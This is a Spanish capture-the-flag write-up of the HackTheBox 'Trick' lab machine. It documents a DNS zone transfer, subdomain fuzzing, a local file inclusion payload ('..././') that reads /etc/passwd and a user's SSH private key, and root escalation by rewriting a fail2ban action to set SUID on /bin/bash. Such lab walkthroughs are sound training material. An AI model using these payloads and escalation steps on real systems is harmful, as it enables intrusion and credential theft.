Trick es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Trick 10.10.11.166 a /etc/hosts como trick.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
nmap -sV -sC -oA enumeration/nmap1 -Pn 10.10.11.166 Nmap scan report for 10.10.11.166 Host is up (0.055s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA) | 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA) |_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http nginx 1.14.2 |_http-title: Coming Soon - Start Bootstrap Theme |_http-server-header: nginx/1.14.2 Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel |
Vemos varios puertos interesantes en esta máquina así que vamos a enumerar todos ellos a ver si conseguimos encontrar el camino correcto.
Enumeración
Empezamos revisando el portal web existente en el puerto 80 y podemos ver una vista previa en la siguiente imagen
Se trata de una web muy simple con un simple formulario para indicar un correo, revisamos un poco la página pero nada así que seguimos.
Revisamos también el puerto 25, y aunque somos capaces de conectarnos nos deniega el envío de correo así que vamos a continuar.
Probando con el puerto 53, DNS, vemos que es posible realizar una transferencia de zona así que la hacemos y descubrimos un subdominio nuevo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ dig trick.htb axfr @10.10.11.166 ; <<>> DiG 9.18.4-2-Debian <<>> trick.htb axfr @10.10.11.166 ;; global options: +cmd trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 ;; Query time: 52 msec ;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP) ;; WHEN: Mon Jul 25 21:40:28 GMT 2022 ;; XFR size: 6 records (messages 1, bytes 231) |
Añadiremos el subdominio preprod-payroll.trick.htb a nuestro fichero /etc/hosts y accedemos a través del navegador, donde veremos la siguiente pantalla de login
En este portal tampoco encontramos nada relevante, así que vamos a seguir con nuestra enumeración.
Después de varias pruebas de enumeración de subdominios, y sin dar con la tecla nos generamos un diccionario utilizando como prefijo el valor preprod-
1 |
$ sed 's/^/preprod-/' /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-5000.txt > dict.txt |
Y enumeramos posteriormente con wfuzz para descubrir un subdominio nuevo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ wfuzz -u http://10.10.11.166 -c -w data/dict.txt -H "Host: FUZZ.trick.htb" -t 100 --hl 83 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.10.11.166/ Total requests: 4989 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000254: 200 178 L 631 W 9660 Ch "preprod-marketing" Total time: 0 Processed Requests: 4989 Filtered Requests: 4988 Requests/sec.: 0 |
Otro subdominio más, así que añadimos preprod-marketing.trick.htb a nuestro /etc/hosts y accedemos, viendo el siguiente portal
Vamos a analizar esta tercera web, y encontramos la forma que utiliza para llamar a las diferentes plantillas html desde el código fuente
Utilizando el parámetro page, podemos intentar llamar a otra página o realizar un LFI, y después de varias pruebas conseguimos dar con la tecla.
El portal aplica una protección eliminando los caracteres ../ pero es posible bypasear los mismos haciendo uso de …/./ de tal forma que vamos a tratar de conseguir el fichero /etc/passwd de la máquina con curl
1 |
$ curl http://preprod-marketing.trick.htb/index.php?page=..././..././..././etc/passwd |
Y funciona, así que conociendo los usuarios, hacemos algunas pruebas y conseguimos la clave ssh del usuario michael con el siguiente curl
1 |
$ curl http://preprod-marketing.trick.htb/index.php?page=..././..././..././home/michael/.ssh/id_rsa |
Obteniendo la flag de user
Ahora que ya tenemos la clave ssh del usuario michael, accedemos y conseguimos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ ssh -i michael.pem michael@trick.htb The authenticity of host 'trick.htb (10.10.11.166)' can't be established. ED25519 key fingerprint is SHA256:CUKzxire1i5wxTO1zNuBswEtE0u/RyyjZ+v07fOUuYY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'trick.htb' (ED25519) to the list of known hosts. Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. michael@trick:~$ id uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security) michael@trick:~$ ls -l total 36 drwxr-xr-x 2 michael michael 4096 May 11 21:07 Desktop drwxr-xr-x 2 michael michael 4096 May 11 21:07 Documents drwxr-xr-x 2 michael michael 4096 May 11 21:07 Downloads drwxr-xr-x 2 michael michael 4096 May 11 21:07 Music drwxr-xr-x 2 michael michael 4096 May 11 21:07 Pictures drwxr-xr-x 2 michael michael 4096 May 11 21:07 Public drwxr-xr-x 2 michael michael 4096 May 11 21:07 Templates -rw-r----- 1 root michael 33 Jul 25 23:30 user.txt drwxr-xr-x 2 michael michael 4096 May 11 21:07 Videos michael@trick:~$ cat user.txt 0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd michael@trick:~$ |
Escalado de privilegios
Ya estamos dentro y tenemos la primera flag, así que vamos a por root.
Revisamos los permisos del usuario y este es capaz de reiniciar el servicio fail2ban
1 2 3 4 5 6 |
michael@trick:~$ sudo -l Matching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart |
Investigamos en la máquina y vemos un directorio sobre el cual puede escribir el grupo security, grupo al cual pertenece el usuario michael
1 2 3 4 5 6 7 8 9 10 11 12 13 |
michael@trick:/etc/fail2ban$ ls -l total 60 drwxrwx--- 2 root security 4096 Jul 26 00:12 action.d -rw-r--r-- 1 root root 2334 Jul 26 00:12 fail2ban.conf drwxr-xr-x 2 root root 4096 Jul 26 00:12 fail2ban.d drwxr-xr-x 3 root root 4096 Jul 26 00:12 filter.d -rw-r--r-- 1 root root 22908 Jul 26 00:12 jail.conf drwxr-xr-x 2 root root 4096 Jul 26 00:12 jail.d -rw-r--r-- 1 root root 645 Jul 26 00:12 paths-arch.conf -rw-r--r-- 1 root root 2827 Jul 26 00:12 paths-common.conf -rw-r--r-- 1 root root 573 Jul 26 00:12 paths-debian.conf -rw-r--r-- 1 root root 738 Jul 26 00:12 paths-opensuse.conf michael@trick:/etc/fail2ban$ |
No podemos editar los ficheros existentes pero sí eliminarlos y añadir los nuestros, y si pensamos una posible forma de explotarlo, el framework fail2ban se encarga del baneo de usuarios, por lo que si editamos la regla de baneo de iptables y forzamos después el baneo del usuario root conseguiremos ejecutar aquello que queramos.
Vamos a ello pues, revisamos los ficheros y después de varias pruebas damos con la tecla con el fichero
1 |
/etc/fail2ban/action.d/iptables-multiport.conf |
Para ello lo que haremos será sustituir la siguiente línea del fichero
1 |
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> |
Por esta otra que dará el bit de suid al fichero /bin/bash
1 |
actionban = chmod u+s /bin/bash |
Así que generamos nuestro fichero con sed
1 |
sed "s/actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>/actionban = chmod u+s \/bin\/bash/g" /etc/fail2ban/action.d/iptables-multiport.conf > custom.conf |
Eliminaremos el fichero original y añadiremos el nuestro
1 2 3 |
michael@trick:~$ rm /etc/fail2ban/action.d/iptables-multiport.conf rm: remove write-protected regular file '/etc/fail2ban/action.d/iptables-multiport.conf'? y michael@trick:~$ cp custom.conf /etc/fail2ban/action.d/iptables-multiport.conf |
El siguiente paso será reiniciar el servicio fail2ban
1 2 |
michael@trick:~$ sudo /etc/init.d/fail2ban restart [ ok ] Restarting fail2ban (via systemctl): fail2ban.service. |
Y por último forzar el baneo del usuario root, para ello, realizaremos un ataque de fuerza bruta con la tool hydra
1 2 3 4 5 6 7 |
$ hydra 10.10.11.166 ssh -l root -P /usr/share/wordlists/rockyou.txt Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-25 22:25:40 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://10.10.11.166:22/ |
Una vez forzado el baneo, tan sólo esperamos un par de minutos para ver aplicado nuestro comando
1 2 |
michael@trick:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash |
Y conseguir escalar a root
1 2 3 4 |
michael@trick:~$ bash -p bash-5.0# id uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security) bash-5.0# |
Obteniendo la flag de root
Ya somos root, así que sólo nos queda obtener nuestra flag
1 2 3 4 5 6 7 8 9 10 |
bash-5.0# cd /root bash-5.0# ls -l total 16 -rw-r--r-- 1 root root 139 Apr 22 09:47 f2b.sh drwxr-xr-x 6 root root 4096 Jun 12 01:29 fail2ban -rw-r----- 1 root root 33 Jul 25 23:30 root.txt -rwxr-xr-x 1 root root 1342 Jun 7 03:33 set_dns.sh bash-5.0# cat root.txt 8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace